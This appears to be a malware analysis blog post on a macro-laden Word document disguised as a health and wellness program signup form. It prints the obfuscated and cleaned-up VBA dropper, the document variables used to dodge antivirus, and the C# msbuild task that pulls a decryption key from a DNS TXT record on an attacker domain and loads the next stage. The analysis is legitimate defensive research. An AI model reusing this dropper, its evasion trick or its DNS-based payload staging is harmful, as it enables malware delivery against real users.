This word document contains a short bit of VBA that’s obfuscated using Word document variables to store the strings that might be identified in email filters and by AV. This seems to be effective, given the VT detection ratio. In fact, I came across this sample in conversation with someone who worked for one of the few products that was catching this sample. The VBA drops a Visual Basic C# project file, and runs it with msbuild, which executes a compilation Task. This code uses DNS TXT records to decrypt a next stage payload. Unfortunately, since the DNS record is no longer present.

File Info

Filename Penn National Health and Wellness Program 2018.doc
sha256 d532ca15fbc8f4c9d230280e7e9f7d4bab48c2e0dc96ee42bd9f363642109093
VT Link https://www.virustotal.com/#/file/d532ca15fbc8f4c9d230280e7e9f7d4bab48c2e0dc96ee42bd9f363642109093/detection

Metadata

Based on the metadata, the file is a word doc, created one and a half weeks ago.

~/malware/Penn_National_Health_and_Wellness_Program_2018.doc# file d532ca15fbc8f4c9d230280e7e9f7d4bab48c2e0dc96ee42bd9f363642109093
d532ca15fbc8f4c9d230280e7e9f7d4bab48c2e0dc96ee42bd9f363642109093: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Administrator, Template: Normal, Last Saved By: Administrator, Revision Number: 8, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:10:00, Create Time/Date: Fri Jul 27 15:36:00 2018, Last Saved Time/Date: Sat Jun 30 18:36:00 2018, Number of Pages: 2, Number of Words: 55, Number of Characters:
315, Security: 0

VT Detections

As of the VT scan done on 3 August 2018, only 13 out of 58 engines detect this document as malicious:

1533606739324

Presentation / Lure

The document presents as a signup form for an insurance health and wellness program:

As is typical of malicious documents using VBA, it has text indicating that you’ll need to enable macros.

Once macros are enabled, a message box pops up:

msgbox

VBA

Raw

On dumping the VBA, we’ll see it’s pretty simple, but that the interesting content is all held in Word document variables. These strings are accessed using ActiveDocument.Variables(VARIABLE_NAME).


Sub AutoOpen()
    WordUpdateCheck
End Sub

Sub Document_Open()
    WordUpdateCheck
End Sub


Private Function DecodeBase64(ByVal strData As String) As String
...snip...
End Function

Sub WordUpdateCheck()

    Dim helper, fso, file, folderPath, filePath, version
    Set helper = CreateObject(ActiveDocument.Variables("Northern") & ActiveDocument.Variables("Beach") & ActiveDocument.Variables("Cali"))
    Set fso = CreateObject("Scripting.FileSystemObject")
    folderPath = helper.ExpandEnvironmentStrings(ActiveDocument.Variables("Stores")) & ActiveDocument.Variables("Retail") & ActiveDocument.Variables("LAX")
    If (fso.FolderExists(folderPath)) Then
        filePath = helper.ExpandEnvironmentStrings(ActiveDocument.Variables("Shoes")) & ActiveDocument.Variables("Bank") & ActiveDocument.Variables("Revenue") & ActiveDocument.Variables("2018")
        If Not (fso.FileExists(filePath)) Then
            Set file = fso.CreateTextFile(filePath, True)
            file.Write DecodeBase64(ActiveDocument.Variables("Fun")) & vbCrLf
            file.Close
            helper.Run folderPath & ActiveDocument.Variables("Shrink") & ActiveDocument.Variables("Running") & " " & filePath, 0, False
            MsgBox ActiveDocument.Variables("Panic"), vbExclamation, ActiveDocument.Variables("Waves")
        End If
    Else
        helper.Run "nslookup.exe pwdas71.healthservices-dns.com"
    End If
End Sub

Dumping Document Variables

I couldn’t find a good way to dump document variables using olevba or oledump. If you know of one, please leave a comment. So I wrote some VBA to do it:

Sub ListVariables()

    For Each avar In ActiveDocument.Variables
      Debug.Print avar.Name & ":" & avar.Value
    Next avar

End Sub
2018:ter.csproj
Airport:v3.5
Bank:\Downloads\
Beach:ipt.Sh
Cali:ell
Fun:PFByb2plY3QgVG9vbHNWZXJz...snip...PC9Db2RlPgogICAgPC9UYXNrPgogIDwvVXNpbmdUYXNrPgo8L1Byb2plY3Q+Cgo=
LAX:v4.0.30319
Northern:WScr
Panic:This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439]
Retail:\Microsoft.NET\Framework\
Revenue:WordUpda
Running:d.exe
Shoes:%userprofile%
Shrink:\msbuil
Stores:%systemroot%
Waves:Microsoft Office Corrupt Application (Compatibility Mode)

Unobfuscated VBA

With the variables in hand, we can now make very readable VBA:

Sub WordUpdateCheck()

    Dim helper, fso, file, folderPath, filePath, version
    Set helper = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    folderPath = helper.ExpandEnvironmentStrings("%systemroot%) & "\Microsoft.NET\Framework\v4.0.30319"
    If (fso.FolderExists(folderPath)) Then
        filePath = helper.ExpandEnvironmentStrings("%userprofile%") & "\Downloads\WordUpdater.csproj"
        If Not (fso.FileExists(filePath)) Then
            Set file = fso.CreateTextFile(filePath, True)
            file.Write DecodeBase64([big base64 blob]) & vbCrLf
            file.Close
            helper.Run folderPath & "\msbuild.exe " & filePath, 0, False
            MsgBox "This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439]", vbExclamation, "Microsoft Office Corrupt Application (Compatibility Mode)"
        End If
    Else
        helper.Run "nslookup.exe pwdas71.healthservices-dns.com"
    End If
End Sub

So this VBA will check that .NET is installed on the box, and then write a file to the user’s Download folder named “WordUpdater.csproj”. Then, it will run it with msbuild. Finally, it will pop the decoy message box we noted earlier saying that the document doesn’t work on this version of office.

Interestingly, if .NET isn’t install, it will do a dns lookup of pwdas71.healthservices-dns.com. This is likely some kind of telemetry for the actor.

Wordupdater.csproj

A .csproj file is a Visual Studio .NET C# Project. I’m not an expert in C# or Visual Studio, but looking through the code, it’s clear what it’s doing.

Inline Task

The majority of this file is a Task, which is some code that should run at compile time by msbuild (which makes sense since the attacker is calling this code with msbuild). I found this tutorial on building a Task, but the short version is, you add a Task structure under the main Project tag, which has a <UsingTask> tag and a <Task> tag. The former defines how the task will run, and the latter contains the code.

In this case, the <UsingTask> tag indicates that it will run a TaskName="Submerge". Then in the <Task> we find public class Submerge : Task, ITask.

Main Code

The main code that runs is here (with another base64 blob snipped):

                public override bool Execute()
                {
                    Dive();
                    return true;
                }

                public static void Dive()
                {
                    string fun = "07L+ZEb+PcKgBfai...snip...cSdo0Cn9Fr+NtvY=";
                    string chk = "7juMJAX+sK5QZKco3BfZuodUZ5GQyeGCZlZ6nwhGpPY=";

                    int retries = 30;
                    while(retries > 0)
                    {
                      string reply = GetTXTRecord("mx.healthservices-dns.com");
                      byte[] replyB = Encoding.ASCII.GetBytes(reply);
                      try
                      {
                        byte[] decr = AESDecrypt(SHA256(replyB), System.Convert.FromBase64String(fun));
                        string new_chk = System.Convert.ToBase64String(SHA256(decr));
                        if(chk == new_chk)
                        {
                          Assembly a = Assembly.Load(decr);
                          Type type = a.GetType("Reflective.Dropper");
                          MethodInfo methodInfo = type.GetMethod("Dive");
                          if (methodInfo == null) { return; }
                          try
                          {
                            var o = Activator.CreateInstance(type);
                            object[] arguments = null;
                            methodInfo.Invoke(o, arguments);
                            break;
                          }
                          catch { }
                        }
                      }
                      catch { }
                      retries--;
                      System.Threading.Thread.Sleep(30000);
                    }
                }

The code is going to do a DNS TXT record lookup to “mx.healthservices-dns.com”. It then uses the sha256 of the response as a key to decrypt the large base64-encoded blob using AES. It does a sha256 of the decrypted result, and compares it to a stored hash to ensure integirty. If that passes, it runs the decrypted malware. It tries all of this in a loop up to 30 times, sleeping 30 seconds between each try.

Summary

Given how easy this VBA was to deobfuscate, the technique of using document variables to hide suspect strings is clearly not meant to trick the analyst’s eye, but rather the automated system. And it seems to be working, given the VT results. It’s also interesting to see how easily and successfully the author is able to protect their next stage using txt records.